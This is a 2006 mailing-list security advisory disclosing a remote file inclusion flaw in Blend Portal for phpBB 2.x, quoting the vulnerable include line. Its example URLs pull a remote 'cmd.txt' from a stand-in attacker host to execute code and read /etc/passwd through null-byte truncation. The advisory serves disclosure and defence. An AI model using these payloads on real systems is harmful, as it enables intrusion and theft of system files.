bugtraq - Advisory: Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend

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Date: Sun, 28 May 2006 20:46:39 +0300
From: Mustafa Can Bjorn IPEKCI <nukedx@...edx.com>
To: submit@...w0rm.com, full-disclosure@...ts.grok.org.uk,
	bugtraq@...urityfocus.com, austin_inc@...mail.com
Subject: Advisory: Blend Portal <= 1.2.0 for phpBB 2.x
	(blend_data/blend_common.php) File Inclusion Vulnerability


--Security Report--
Advisory: Blend Portal <= 1.2.0 for phpBB 2.x  
(blend_data/blend_common.php) File Inclusion Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 28/05/06 07:52 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@...edx.com
Web: http://www.nukedx.com
}
---
Vendor: phpbb-portal (http://www.phpbb-portal.com/)
Version: 1.2.0 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary  
internal/external files to phpBB. phpbb_root_path
variable in /blend_data/blend_common.php did not sanitized properly  
before using it.You can find vulnerable code in
blend_common.php at lines 74-77
-Source in blend_common.php-
74: else
75: {
76: include_once($phpbb_root_path . BLEND_DATA_PATH . BLEND_CACHE_PATH  
.'config.'. $phpEx);
77: }
-End of source-
Level: Highly Critical
---
How&Example:
Succesful exploitation needs register_globals on & allow url_fopen on
GET ->  
http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FILE]
EXAMPLE ->  
http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yoursite.com/cmd.txt?
EXAMPLE ->  
http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=/etc/passwd%00
---
Timeline:
* 28/05/2006: Vulnerability found.
* 28/05/2006: Contacted with vendor and waiting reply.
---
Exploit: http://www.nukedx.com/?getxpl=41
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=41

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